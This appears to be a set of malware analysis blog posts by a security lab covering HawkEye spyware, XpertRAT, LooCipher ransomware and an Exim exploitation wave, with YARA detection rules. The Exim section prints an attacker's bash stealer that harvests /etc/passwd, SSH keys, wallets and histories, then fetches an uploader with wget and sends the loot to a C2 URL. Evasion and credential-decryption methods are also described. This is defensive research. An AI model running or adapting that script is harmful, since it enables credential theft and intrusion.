Figure 2: AV Detection of the ISO compressed file (left) and of the extracted file (right)

The PE file is packed with a Visual Basic 5.0 stub. It has the duty to protect the core of the malware and complicate the analysis:

Figure 3: Visual Basic packer evidence

As seen above, the malware is written in Visual Basic 5.0. So it is possible to decompile the malware through the use of the ad-hoc decompilers.

Figure 4: Visual Basic code decompilation in P-Code

The decompiled code has been translated in P-Code and it is quite obfuscated in the same way. The only solution to obtain more information about the infection mechanisms is to debug the program.

The first trick to complicate the analysis is to dynamically create a new memory section where inject some code, through the use of the “VirtualAlloc” function. The malware decodes some a piece of code, and choose a random new virtual address space to alloc memory, in this case “0x00260000” loaded into the EAX register.

Figure 5: Memory allocation through the VirtualAlloc API

The GetTickCount Anti-Debug Technique

After the context switch inside the new allocated area, the malware adopts the well known “GetTickCount()” anti-debug technique. According to the MSDN documentation, GetTickCount retrieves the number of milliseconds that have elapsed since the system was started, up to 49.7 days. This API call is used by the malicious actors to retrieve the time of the execution of the process, and if it is higher than a preset threshold, the malware terminates its execution:

Figure 6: GetTickCount routine a new address space

The first malicious action of the created address space is the invoking of the GetTickCount API and the result is:

Figure 7: GetTickCount result in EAX register

The result of the GetTickCount function is stored in EAX register. After doing some other decrypting operations, the malware invokes it another time.

Figure 8: GetTickCount subtraction anti-debug trick

After the second invocation of GetTickCount, there is immediately the subtraction of the two values and it is placed in EAX register. The next instruction is a comparison between the EAX register and a preset threshold value, “0x5DC”, which is 1500 in decimal representation. According to the Microsoft documentation, the resolution of the GetTickCount function is 10ms, thus we can deduce that the decided threshold by the cyber criminal is 15 seconds. After understood the trick, it quite easy to bypass and go on to analyze the sample.

Figure 9: ShellExecute routine to run the payload

The malware allocates another memory space to write an entire file with the MZ header and it is opened through the “ShellExecute” API function. Dumping the process in this moment, another piece of code hidden in a resource, which did not exist before the anti-debug trick, emerges:

Figure 10: Resource comparison between the original exe and the self-modified exe

As shown in the above figure, the original file (on the left) presents as resources only the icons and the manifest, instead the self-manipulated file presents a resource called “RCData” with a resource named “__”. It is the encrypted final payload.

Figure 11: Malicious resource retrieving routine

In order to protect itself and to make more difficult the analysis, the malware respawns itself through the “CreateProcessInternalW” API call:

Figure 12: Execution routine of the final payload

Now the real payload is ready to be self-decrypted with a custom internal routine. 

Figure 13: Decoding routine of the final payload

After the decryption routine, the malware copies this new code into another piece of memory through the “memcpy” function. Moreover, in order to validate the correct extraction of the payload, the malware checks if the first two bytes of the memory spare are “0x5A4D” which is “MZ” in ASCII code.

Figure 14: Validation check of the correct decoding of the final payload

Dumping the file, the real payload is unveiled.

The Payload

The extracted payload is a PE file compiled in .NET C# language with the following static information:

ThreatHawkey Spyware
Brief DescriptionHawkey Spyware obfuscated payload

Table 2: Static information about the final payload

The payload sample is obfuscated with the .NET Reactor tool, but the cleared version can be easily restored:

Figure 15: Usage of .NET Reactor obfuscator evidence

Below some static information of the final payload is reported:

ThreatHawkey Spyware
Brief DescriptionHawkey Spyware clear payload

Table 3: Static information about the cleared version of the final payload

Due to the fact that the payload is written in .NET framework, it is possible to debug the code in order to retrieve all the details of this new sample. The debugging of the sample lets emerge the attribution of the malware, HawkEye.

Figure 16: Recurrent string decryption routine through the usage of Rijndael algorithm

Every sensitive information, string or other information  is encrypted through Rijndael algorithm, as shown in figure 16. Before starting any operation, the malware tries to make a simple evasion trick. It retrievers the username of the victim machine and it compares this one with a series of usernames hardcoded. These usernames are the classical ones adopted by the sandboxes and if one of them is matched, probably the malware is run inside a virtual machine.

Figure 17: Sandbox evasion trick

After the simple check, the info stealer starts to perform its malicious operations. The first malicious operation is the persistence mechanism adopted by the malware:

Figure 18: Persistence mechanism

The persistence is guaranteed through the setting of the classic registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the value “C:\Users\Admin\AppData\Roaming\MyApp\MyApp.exe”, having already copied itself in this path. However, it’s important to say that if the malware is launched from the original wrapper, it copies in the “MyApp” path the entire executable, because the payload is executed inside the wrapper process as a thread; instead if only the final payload is executed, only this part is stored. 

Figure 19: Task Manager disabling

A particular auto-protection mechanism adopted by the malware is the disabling the possibility to open the Task Manager process from the user, through the setting of the highlighted registry key in the Figure 19. At this point the malware can start the information stealing routines.

Figure 20: Password retrieving routine from Internet Explorer

The first information retrieved is the password stored inside Internet Explorer through the routine described in the above figure. This is only the starting point: it retrieves all sensitive data and login data from a large list of browsers. A little example is shown in the following figure:

Figure 21: Piece of the browser list harvested by the malware

Below, the complete list:

In the same way, the malware looks for other credentials coming from other services, like CoreFTP, FileZilla and JDownloader. The last information stolen by the malware is the registered email accounts on the victim machine. The searched email clients are:

Now, we wanted to deepen the password gathering routine of the malware on the Microsoft Outlook application. So, we created a fake account and we logged on the Microsoft email account software. 

Figure 22: Registry key where it is stored the Microsoft Outlook client user configuration

Themalware retrieves a particular registry key: “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook”. Inside of it is stored the configuration of the Microsoft Outlook user profile.

Figure 23: Outlook password decryption routine

The method “smethod_50”  in figure 23 shows how is simple to decrypt the password saved in that registry key: it is enough retrieve the array of bytes and use it as parameter, together with the CurrentUser DataProtectionScope,  to the static method provided from the .NET framework, “ProtectedData.Unprotect()”. After that, the harvested information are collected in a list, ready to be sent to the server.

Figure 24: Creation of the list of the gathered accounts

The last action is properly the preparation to send the information to the recipient. As the classic HawkEye malware, the communication protocol designed to transmit the stolen info is SMTP. For this reason the malware needs to use the API provided by the .NET framework in order to  instantiate an SMTP client. Debugging until the right point, the malware configuration are revealed:

Figure 25: SMTP client account configuration


Hawkeye is nowadays a well known threat. The security firms analyzed in an excellent way the malware and all the infection chain, but this sample, like our latest ones, has the peculiarity to be protected by a complex and evasive packer. 

In the last two posts we saw a tough Delphi packer to analyze, but also this one has some points to analyze that make challenging  the reverse engineering process for the analyst. In the end, we were able to dissect all the malware chain revealing the threat actor exfiltration address.

Indicators of Compromise


C2 (smtps):

Persistence Mechanism:

Yara Rules 

rule ISO_Dropper_HawkEye_201907 {
	description = "Yara Rule for HawkEye ISO dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-08"
	tlp = "white"
	category = "informational"
	$s1 = "PowerISO" ascii wide
	$s2 = "MSVBVM60.DLL" ascii wide
	$h1 = {76 B6 45 77 B6 4C 7D B9} 
	all of them

rule Visual_Basic_Loader_HawkEye_201906 {
	description = "Yara Rule for Visual Basic Loader and its payload (HawkEye)"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-08"
	tlp = "white"
	category = "informational"
	$h1 = {52 94 5B C2 56 17 AB 6E 9D 6D F0}
	$h2 = {13 41 63 ED 92 6B DF 6B 36 CD F8}
	$s1 = "MSVBVM60.DLL" ascii wide
	uint16(0) == 0x5A4D and all of them

This blog post was authored by Luigi Martire, Antonio Pirozzi and Luca Mella of Cybaze-Yoroi Z-LAB

Spotting RATs: Tales from a Criminal Attack


In the last period we observed an increase of the malware spreading using less-known archive types as initial dropper, in particular ISO image. The spread of threats exploiting ISO image to hide themselves is helped by the Windows functionality, introduced since Windows 8, which allows the user to easily mount this file type through a double-click on it.

Recently, our monitoring operations discovered an interesting attack wave leveraging this technique, especially due to the particular impersonification the attacker was trying: he/they was mimicking an important Italian Manufacturing company

Technical Analysis

Figure 1. Phishing email content

The phishing email (Figure 1) has a well-designed body containing the enterprise logo and references about the impersonated company: its international reputation has been abused by attackers to lure the victim to open up the embedded attachment.

Surely the presence of an ISO file as attachment is suspicious, but for an unaware user it could go unnoticed, also thanks to the new Windows versions which natively support the filetype. 

The Loader

Extracting the content of the ISO image, we encounter an EXE file named “po-ima0948436.exe”. From the first retrieved information, in particular the “BobSoft Mini Delphi” signature, it seems to be packed with a well-known Delphi packer (already studied by other popular firms). According to FireEye this packer is already used by different malware family, like Pony, IRStealer, Nanocore, Netwire, Remcos, nJRAT. Moreover, in our previous report we have already studied the Delphi wrapper, this time applied to a Nanocore variant.

Figure 2. Evidence of the Delphi wrapper

As expected, the malicious payload is stored in the resource section in encrypted way (probably using a simple XOR-encryption). This is one of the main features of the Delphi packer.

Figure 3. Encrypted payload, stored in Resource section

Rather than studying the payload extraction mechanism, we focused on the huge number of checks to detect the lab environment and, consequently, to make the analysis harder. The evasion tricks are surely part of initial Delphi packer; it probably was generated using a specific factory which allows the attacker to customize the features will be added to its weapon. 

Once executed, the malware obviously kills itself detecting the analysis machine, so we are going to investigate what are the tricks employed to stop us. Using our custom tool, we are able to extract information about the high-level techniques fielded by the malware writer to evade the analysis.

Figure 4. High-level evasion techniques

The first trick exploits a well-known Windows API call, “IsDebuggerPresent” to check if the process is executed in debugging mode. Bypass this control is quite simple: using a debugger we can modify the return value of the API call, hijacking the malware control flow.

Figure 5. IsDebuggerPresent API call

Immediately after the first trick, the malware shows another technique to identify the fake environment, monitoring the cursor movements. The cursor movements, indeed, represent the presence of a user operating with the system. So, the malware can identify if it is executed in a sandbox evaluating the different position of the cursor in periodic time intervals. This can be done through a finite loop in which the process check the position using the “GetCursorPos” API call.

Figure 5. Check against the cursor movements

After that, the malware retrieves the list of all active processes. This list will be used later to identify the presence of programs belonging to analysis environment. The most popular strategy to obtain the processes list is to use the “CreateToolhelp32Snapshot” Windows function. The malware needs to navigate the list in order to create a buffer with the processes’ executable paths only (“svchost.exe”, “services.exe” etc.). So, it must invoke the  “Process32First” and “Process32Next” API calls, enter in the PROCESSENTRY32 structure and extract the “szExeFile” field, containing the executable path name.

Figure 6. API calls to obtain the processes list

The information about the processes are stored to be processed in a second moment. At this point, the malware exhibits another evasion technique, but more advanced than the previous ones. Using the CPUID instruction, it tries to extract information about the processor and its features.

According to VMware specifications “Intel and AMD have reserved CPUID leaves 0x40000000 - 0x400000FF for software use. Hypervisors can use these leaves to provide an interface to pass information from the hypervisor to the guest operating system running inside a virtual machine. [...] VMware defines the 0x40000000 leaf as the hypervisor CPUID information leaf”. So, calling the instruction with the 0x40000000 parameter (in EAX register), the query result is the “Hypervisor Brand” string, split into three different registers: ECX, EDX and EBX (shown in Figure 7).

Figure 7. Result of CPUID instruction invocation

As shown in the above figure, the result string is reversed: the malware needs to manipulate it to obtain the right information “VMwareVMware” (Figure 8).

Figure 8. String reporting the hypervisor brand

Using this information, the malware is able to check if it is executed on a virtualized environment comparing the string with the embedded ones:

Figure 9. Embedded string used during the hypervisor check

Bypassed this check, the malware knows to be in a non-virtualized environment but it is not yet the time to pull out its malicious behavior! At this point, in fact, it reloads the old processes list, retrieved in a previous phase, to compare its entries with the hardcoded names belonging to programs used in malware analysis, like:

Figure 10. Check against malware analysis tools

The same is done with components belonging to anti-malware products, in particular Avast and AVG. The hardcoded components names are:

Figure 11. Check against anti-malware software components

The last check consists in the identification of defined strings, related to malware analysis environment, with the absolute path in which the initial EXE is located. If the path contains words like “sandbox”, “malware”, “sample”, “virus” and others, the execution flow terminates. 

Figure 12. Check against suspicious strings in path

If all the checks are successful, the malware can show its malicious behavior. It creates a child process containing the same instructions of its parent, so it repeats all the checks just executed, but it has the only purpose of injecting the final payload in a new “iexplore.exe” process. 

Figure 13. Active processes

Analyzing the process, it is possible to identify a suspicious thread starting from 0x00000000 address. Probably the technique used to inject malicious code in the legit one is based on “CreateRemoteThread”, with which the malware is able to allocate memory in the legit process memory space, fill it with malicious instructions and force the victim process to start the execution of the new thread.

Figure 14. Injected thread

The Payload

The final payload is nothing more XpertRAT, a well-known Remote Administration Tool.  When executed, it writes a copy of itself in a hidden folder named %AppData%\Roaming\{GUID}, setting the persistence writing the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{GUID} with the location of the EXE just created.

Figure 15. Malware’s artifacts

In the below figure, it is possible to see the written registry key pointing to the executable to start at the next logons.

Figure 16. Malware persistence through registry key

In the same folder, there is a file named “ut” which is used by the malware as buffer to contain the exfiltrated data in “keylogging” mode, before sending it to the server.

So, the RAT tries to establish a connection to its C2, hosted at “thisurl.doesntexist[.]com”, waiting for new commands to execute on the victim machine.

Figure 17. Malware attempt to communicate

Unfortunately, the server seems to be down at the analysis time, so we can only inspect the network flow using a fake net. As shown in the following figure, the malware sends a TCP stream containing some parameters used at server-side to identify the client that tries to establish the connection.

Figure 18. Malware’s network traffic


Finally, the analyzed sample is a classic Remote Administration Tool which has a long list of capabilities, such as keylogging, remote desktop, command execution and other exfiltration abilities.

However, the interesting part of the analysis is surely the initial Delphi wrapper, which is full of advanced tricks to make the analysis harder. As mentioned before, this packer surely derives from some kind of factory which allows the attacker to choose the capabilities he wants. We, in fact, intercepted many other infections based on the same Delphi structure, but with different features in terms of evasion and encryption, as evidence of the possibility of customize it.  

Indicators of Compromise



Yara Rules

import "pe"

rule ISO_Dropper_XpertRAT_201906 {
	description = "Yara Rule for XpertRAT ISO dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-30"
	tlp = "white"
	category = "informational"
	$s1 = "PowerISO" ascii wide
	$s2 = "PO-IMA0948436" ascii wide
	$h1 = {D0 50 6A 02 6A 00 8B 45 E4 50 E8 E1 6D FE FF EB} 
	all of them

rule Delphi_Loader_XpertRAT_201906 {
	description = "Yara Rule for Delphi Loader and its payload (XpertRAT)"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-30"
	tlp = "white"
	category = "informational"
	$h1 = {4D 5A 50}
	$h2 = {E2 FE 51 F5 34 94 63 AB A4 FD 1B 26 E9 BA CF 3C}
	$s1 = "SOFTWARE\\Borland\\Delphi\\RTL" ascii wide
	pe.number_of_resources == 174 and all of them

This blog post was authored by Antonio Farina, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

LooCipher: The New Infernal Ransomware


A new Ransomware began to threats the digital world. This time using a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular religious figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families, but digging into its internals we also found elements suggesting its operators could be able to run large scale campaigns.  

Technical Analysis

Unlike most ransomware, LooCipher uses a macro-weaponized document as dropper of the real threat. We identified two different document files involved to deploy the ransomware, they are called: “Info_BSV_2019.docm” and “Info_Project_BSV_2019.docm”. Both files are very poor in design and contain a single text line inviting the user to enable macro execution.

Figure 1. Document content

Exploring the content in-depth, we retrieved its minimal macro code payload: its only purpose is to download the ransomware from the “hxxp://hcwyo5rfapkytajg.onion[.]pet/2hq68vxr3f.exe” dropurl and launch it.

The author did not care to obfuscate in any sophisticated way his malicious code, even some comment strings like “//binary” and “//overwrite” are still visible.

Figure 2. Macro code

Once run, it starts the encryption of all the victim’s files, except for the system and programs folders: “Program Files”, “Program Files (x86)”, “Windows”. Obviously, this trick allows to avoid the corruption of the files needed to start the operating system, letting the user login to its PC to see the ransom request. 

Figure 3. Ransomware excluded folders

After a long files enumeration phase, the ransomware encrypts all files ending with the following extensions:

.jpg, .jpeg, .xml, .xsl, .wps, .cmf, .vbs, .accdb, .cdr, .svg, .conf, .config, .wb2, .msg, .azw, .azw1, .azw3, .azw4, .lit, .apnx, .mobi, .p12, .p7b, .p7c, .pfx, .pem, .cer, .key, .der, .mdb, .htm, .html, .class, .java, .asp, .aspx, .cgi, .php, .py, .jsp, .bak, .dat, .pst, .eml, .xps, .sqllite, .sql, .jar, .wpd, .crt, .csv, .prf, .cnf, .indd, .number, .pages, .x3f, .srw, .pef, .raf, .rf, .nrw, .nef, .mrw, .mef, .kdc, .dcr, .crw, .eip, .fff, .iiq, .k25, .crwl, .bay, .sr2, .ari, .srf, .arw, .cr2, .raw, .rwl, .rw2, .r3d, .3fr, .eps, .pdd, .dng, .dxf, .dwg, .psd, .png, .jpe, .bmp, .gif, .tiff, .gfx, .jge, .tga, .jfif, .emf, .3dm, .3ds, .max, .obj, .a2c, .dds, .pspimage, .yuv, .3g2, .3gp, .asf, .asx, .mpg, .mpeg, .avi, .mov, .flv, .wma, .wmv, .ogg, .swf, .ptx, .ape, .aif, .av, .ram, .m3u, .movie, .mp1, .mp2, .mp3, .mp4, .mp4v, .mpa, .mpe, .mpv2, .rpf, .vlc, .m4a, .aac, .aa3, .amr, .mkv, .dvd, .mts, .vob, .3ga, .m4v, .srt, .aepx, .camproj, .dash, .zip, .rar, .gzip, .mdk, .mdf, .iso, .bin, .cue, .dbf, .erf, .dmg, .toast, .vcd, .ccd, .disc, .nrg, .nri, .cdi, .ai, .doc, .docm, .docx, .dxg, .odb, .odm, .odp, .ods, .odt, .orf, .ppt, .pptm, .pptx, .rtf, .xlk, .xls, .xlsb, .xlsm, .xlsx, .pdf, .mobi, .epub, .sage

During the encryption phase, for each file to be encrypted, the malware creates the encrypted copy of the files but it does not delete the original ones, rather it empties them and forces a 0-byte size.

Figure 4. Example of ciphered file with empty original file

It is not clear if this mechanism derives from buggy code or it is a specific peculiarity of this malware, intentionally introduced by the author.

Figure 5. Actions during encryption phase

When the encryption phase ends, it creates a FAQ folder within victim’s desktop reporting the instructions to proceed with ransom payment in a “friendly” Q&A form.

Figure 6. File containing the payment instructions

As stated in the payment instruction file, the victim has only five days to proceed with the payment. After this period, the key will be automatically destroyed, preventing any way to recover the user content. Similar information is also displayed in the image set as background and into the interactive pop-up window. 

Figure 7. Background image and pop-up window reporting info about the payment

As soon as the encryption phase is ended, the malicious process contacts its C2 sending information about the infected machine and retrieving the BTC address to display in the pop-up window. 

Figure 8. Example of HTTP request to retrieve the BTC address

The C2 is hosted in the TOR Network, at the “hxxp://hcwyo5rfapkytajg[.]onion” address, so the malware uses some services which act as proxies between the Darknet and clearnet to easily perform its malicious actions, avoiding the installation of TOR libraries on the victim machine. The abused services are:

The request sent by the malware includes information like the User-ID assigned to the victim machine during the encryption phase “u=rEui7jhIJk6SaRTyhL08N7h1Sft” and its public IP address “”. The C2 server replies specifying the BTC Address the user will pay the requested amount to, for instance “BTC_ADDR: 16HDCwCuy2R5b7YFCmsidXzHQrvHmT7VHGG”.

We noticed that every time the ransomware contacts its C2 at the “k.php” resource, the server generates a new BTC Address. Probably, the backend embeds a BTC wallet factory able to register a new wallet on the blockchain for each ransomware infection. This trick surely allows to make more stealthy BTC transactions, avoiding a huge number of transactions towards the same wallet and hardening the cash flow reconstruction. In the following table we inserted some of the BTC addresses generated by the C2:


Table. Example of Generated BTC Addresses

However, if the victim machine is offline the ransomware is not able to download the BTC address to display in the window. For this reason, the malware also embeds a fallback addresses list to use when it fails to reach the C2.

Figure 9. Other BTC addresses embedded in ransomware binary

Table. Hardcoded BTC Addresses on sample

An interesting peculiarity of this ransomware is its capability to work both as encryptor and as decryptor. The last answer of the instruction file, in fact, reports that the decryptor software is embedded into the ransomware binary in order to make the decryption process as simple as possible.

In fact, after the payment the victim can click on “Check Payment” button included in the pop-up window, and so, if the transaction has been confirmed, the “DECRYPT” button will be enabled. Moreover, if the user accidentally closes the pop-up window needed to trigger the decryption, he can download a new copy of the ransomware and use it as decryptor. That copy is hosted on the MEGA repository “hxxps://mega [.nz/#!KclRVIRY!YrUgGjvldsoTuNZbCOjebAz5La7hbB41nJHk1mlgqZo”.

Clicking the “Check Payment” button, the process sends a new HTTP request to its C2 to “/d.php” in order to check if the payment related to the specific User-ID has been received.

Figure 10. Example of HTTP request to check if the payment has been executed

In the specific case, the server replies with the “0” value, indicating the payment has not been approved, so the “DECRYPT” button will not be enabled. Moreover, if the contacted server is down, the malware tries to reach its TOR C2 using one of the other above-mentioned proxies, avoiding proxy service failures. 

Figure 11. HTTP-TOR proxy services used by the malware


In the nowadays, Ransomware is one of the quickest ways to monetize cyber-criminal activities, and for this reason a wide-range of threat actors, including micro cyber-criminals, leverage these "tools" to threaten organizations and companies. LooCipher is a new entry in this sector: it's a Ransomware family spreading through malicious emails embedding infected Office documents, differently from the recent Sodinokibi campaign that used redirectors to land the victims on Exploit Kits infected pages (eg RIG EK).

LooCipher encrypts all files on victim computer, it abuses Clearnet-to-Tor proxy services to connect to its Command and Control hidden behind onion sites. Cybaze-Yoroi ZLAB advises to always keep a recent, tested and offline backup of all the business critical data.

Indicators of Compromise




Yara Rules

import "pe"
rule LooCipher_dropper_1906 {
	description = "Yara Rule for LooCipher ransomware .docm dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-21"
	tlp = "white"
	category = "informational"
	$s1 = {FF FD 72 77 6D 3A 3F 96 45 70 00 63 85 92 19 8A}
	$s2 = {35 58 34 CB AF AF 52 A6 13 A6 0C BC 18 A5 C1 38}
	$a1 = { 50 4B 03 04 }

	$a1 and 1 of ($s*)

rule LooCipher_1906 {
	description = "Yara Rule for LooCipher ransomware"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-21"
	tlp = "white"
	category = "informational"
	$s1 = ".lcphr"
	$s2 = "hcwyo5rfapkytajg"
	$s3 = "LooCipher_wallpaper.bmp"
	$a1 = { 4D 5A }

	$a1 and 1 of ($s*) and pe.sections[6].name == ".00cfg"

This blog post was authored by Antonio Farina, Antonio Pirozzi and Luca Mella of Cybaze-Yoroi Z-LAB

The “Return of the WiZard” Vulnerability: Crooks Start Hitting


Figure 1: Exposed EXIM server in Italy (Reference: ZoomEye)

In the past days, a really important issue has been disclosed to the public: “Return of the WiZard” vulnerability (ref. EW N030619, CVE-2019-10149). Such vulnerability affected a wide range of Exim servers, one of the main email server technologies, extremely diffused all around the globe and in Italy too.

Recently, cyber-criminals groups abused this vulnerability to compromise exposed Exim mail server in the wild. During this time, Cybaze-Yoroi ZLAB observed many attack attempts trying to spread malware abusing the CVE-2019-10149 issue, for instance the SSH reverse shell first spotted by Magni R. Sigurdsson (Security Researcher), which abuses ToR network to distribute its payload, or also the 9th June wave which tried to download a particular Linux agent. Yoroi-Cybaze ZLab analyzed this malware threat.

Figure 2: Tweet about first attack wave on Exim server

Technical Analysis

Exim is a message transfer agent (MTA) developed at the University of Cambridge for Unix systems connected to the Internet. It was designed on the assumption that it would be run on hosts that are permanently connected to the Internet. Thanks to the “Return of the WiZard” vulnerability, a malformed email sent to Exim servers allows attackers to execute code under the Exim process access level, root on most servers. The entire infection chain begins with an SMTP dialog containing a specifically crafted “RCPT_TO” field.

For instance:

Figure 3: Piece of exploit used to compromise vulnerable Exim server (Reference:

At this point, the vulnerable Exim Server locally executes the crafted part.

The Bash Stealer

ThreatBash Stealer
Brief DescriptionInitial bash payload dropped after Exim exploit

Table 1: Information about sh script

Figure 4: Initial SH file detection

The SH file is not merely a dropper of another stage of the malware. It retrieves information about the infected machine, starting from the hostname and ending into the bitcoin wallets and system configurations, making it look like a quite complete stealer too. In this section we deepen all the features of this sample.

#!/bin/shexport PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbinexport LC_ALL=Cexport HISTFILE=/dev/nullexport HISTSIZE=0
HOME=/rootunset DISPLAYexport UPLOAD_URL=https://85.25.84[.99/up.php

Snippet 1: Declarations of global variables and IP of the C2

First of all, the script set different variables visible at all child processes thanks to “export” command. An interesting variable is “UPLOAD_URL” containing a first remote location “hxxps://85[.25.84.99/up[.php” part of the attacker infrastructure. The C2 is hosted by a German Managed Cloud Service Provider ️(PlusServer GmbH).

Second interesting part of the script is the function “snd()” defined follow.

snd () { sh -c "UPLOAD_FILE=\"$1\" UPLOAD_NAME=\"$(hostname).tbz2\" UPLOAD_URL=$UPLOAD_URL atd &"; }

Snippet 2: “snd()” function used to upload stolen information

This line of the script is one of the most important of all the infection chain. It launches a shell command with three exported variables “UPLOAD_FILE”, “UPLOAD_NAME”, “UPLOAD_URL” and then the “atd” file is executed. It is described in the section “The payload”. Instead, the final part of the script is:

tail -n 100 /etc/*release /etc/version > system.version  2>/dev/nullip addr > ip  2>/dev/nulliptables-save  > iptables  2>/dev/nullip6tables-save > ip6tables 2>/dev/null
# /EXIM end exim
hostname > hostnameuname -a > unameecho `date -u` '('`$(which date)`')' > dateuptime > uptimew > wid > id
ps auxwwwwwTH > psps auxwwwwwf  > ps-forestps auxwwwwwfe > ps-env
cat /proc/meminfo > meminfo 2>/dev/nullcat /proc/cpuinfo > cpuinfo 2>/dev/nullifconfig -a > ifconfig 2>/dev/nulldf > df 2>/dev/nulldmesg > dmesg 2>/dev/nullmount > mount 2>/dev/nullenv > env 2>/dev/null
lspci -k > lspci 2>/dev/nulllsusb > lsusb 2>/dev/null
netstat -antpuxwenW > netstat 2>/dev/nullroute -en > route 2>/dev/null
# other kernel info
cat /proc/modules > lsmod 2>/dev/nullcp /proc/version /proc/cmdline /proc/filesystems . 2>/dev/nulllscpu > lscpu 2>/dev/null
# copy stuff from /etc?
if [ $NOETC -eq 0 ]; then mkdir $main_dir/root/sysinfo/etc cd $main_dir/root/sysinfo/etc cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null cd -fi
cd $main_dir/root
# list some dirs
if [ $NOLS -eq 0 ]; then ls -laR /boot > ls-boot 2>&1 ls -laR /etc  > ls-etc  2>&1fi
# compress n clean up
cd $main_dirtar -cj --exclude 'root/sysinfo/etc/httpd/modules*' --exclude 'root/sysinfo/etc/httpd/lib*' --exclude 'root/sysinfo/etc/httpd/man*' -f $BASE/rf root
# drop source files
rm -rf $main_dir &
# ready to send!
cd $BASE
wget -q -O atd || wget -q -O /dev/nulltest `stat -c %s atd` -eq 610932 && chmod +x atd && snd rf

Snippet 3: Piece of sh script utilized to grab all victim machine

In the “#EXIM” section the script gather the following information:  system version, ip, iptables status, ip6tables status. However, the “#EXIM” label is misleading because this piece of code refers only to information about the machine network configuration and no EXIM configuration is retrieved. After this, the script continues to gather other information like:

In the section labeled “#copy stuff from /etc?”, the script steals all the files stored in /etc/ path. Its loot is stored on “$main_dir/root/sysinfo/etc” where $main_dir is “/var/tmp”. It contains a copy of the whole Apache and Nginx configuration folders, and the system users and groups.

# copy stuff from /etc?
if [ $NOETC -eq 0 ]; then 
mkdir $main_dir/root/sysinfo/etc 
cd $main_dir/root/sysinfo/etc 
cp -pRL /etc/*release /etc/cron* /etc/*version /etc/issue* /etc/hosts* /etc/motd /etc/passwd /etc/apache2 /etc/httpd /etc/nginx /etc/resolv* /etc/wpa* . 2>/dev/null 
cd -

Snippet 4: Copy of all files contained in /etc path

In addition, the following piece of code shows the script snippet able to steal cryptocoin wallets and to pillage other interesting files. For instance user’s ssh configs and configuration files of remote management tools, like Remmina, Rdesk and VNC potentially enabling further network compromise. Moreover, it gathers DB client configuration files for DbShell and Redis, along with user command history too.

cd $HOME && tar cf $main_dir/root/root.tar \ .*coin/w*dat .*Coin/w*dat .dash*/w*dat .dash*/*.conf .*coin/*.conf .*Coin/*.conf *address.txt \ *coin/w*dat *Coin/w*dat .vnc* .redis* .rdesk* .remmina \ /home/*/.*coin/w*dat /home/*/.dash*/w*dat /home/*/.dash*/*conf /home/*/.*Coin/w*dat /home/*/.*coin/*.conf /home/*/.*Coin/*.conf \ /home/*/.ssh /home/*/.remmina /home/*/.vnc* /home/*/.redis* /home/*/.rdesk* /home/*/.remmina \ /home/*/.bash* /home/*/.zsh* /home/*/.*hist* /home/*/.profile /home/*/.dbshell 2>/dev/null
cd $main_dir/root/

Snippet 5: Grab of all information on ssh, remmina, vnc, redis and rdesk configuration files.

Finally, all these information are compressed, sent to the C2 using the previously mentioned “snd()” function and then removed from the machine. The last lines of the script downloads another piece of malware: an ELF32 executable hosted on the same server at  “hxxp://173[.212.214[.137/se”. It  is the “atd” file referenced in the “snd()” function.

The ELF Uploader

ThreatELF Uploader
Brief DescriptionMalware downloaded after exim exploitation packed with UPX compressor

Table 2: Information about se (ELF file packed with UPX)

This sample was compressed with the standard UPX compressor. The unpacked payload is:

ThreatELF Uploader unpacked
Brief DescriptionELF Uploader unpacked

Table 3: Information about se (ELF file Unpacked)

Analyzing it, we found the malware tries to find three environment variables: “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL”. All those have been declared in the “snd()” function and are used as parameters for the further execution, suggesting this piece of code may be a custom tool prepared by the attacker.

Figure 5: Evidence of “UPLOAD_FILE”, “UPLOAD_NAME” and “UPLOAD_URL” functions

If the three parameters exist, then the malware contacts the remote destination in order to upload all the data through a series of POST request to the “/up.php” resource.  As previously mentioned, the three parameters are read as environment variable in the bash command line. So, once loaded the required parameters, we are able to  correctly debug the malware. In the figure above, we reported how the malware retrieves one of the defined parameters, the “/var/tmp/temp3754r97y2” folder, which contains the loot gathered by the Bash Stealer. Indeed, Figure 12 shows the routine used by the malware to contact the C2 and it is visible in clear in the address pointed by the ESI register.

Figure 6: Read parameter routine
Figure 7: Read C2 address routine


This attack wave shows how  simple can be for an attacker to run a widespread attacks with customized malware, threatening all the unpatched Exim services exposed all around the Internet. In this analysis, we encountered an effective information stealer able to easily gather sensitive information about the compromised system. These information could also enable the crooks behind the campaign to further escalate the attack within victims and victim partners networks.

Anyway, this case represents only one possible attack scenario abusing the “Return of the WiZard” vulnerability: cryptominers, botnets or also ransomwares could also leverage this weakness, along with APT groups. So, the Yoroi-Cybaze researchers recommend to update Exim servers in order to avoid the risk of other attack waves.

Indicator of Compromise

Yara Rule

rule EXIM_CVE_2019_10149 {
description = "Yara Rule EXIM UPX and de-UPX"
   	author = "Cybaze - Yoroi ZLab"
   	last_updated = "2019-06-19"
   	tlp = "white"
   	category = "informational"
    	$s1 = "ELF"
    	$s2 = "Buildroot 2014.02"
   	$s3 = "445403338652341"
    	$s4 = {96 0E 14 41 C3 0E 10 44 C6}
    	$s5 = {5C 24 0C 01 E9 8A 0C 01 32 4C}  
    	$s6 = "OpenSSL 1.0.1f 6 Jan 2014"  
    	$s7 = {0E 14 41 C3 0E 10}
    	$s8 = {5E CC 14 D8 E1 48 BF 7E 6D}
    	$s9 = {FF 83 A7 24 01 00 00 FD}
    	$s10 = "UWVSQ"
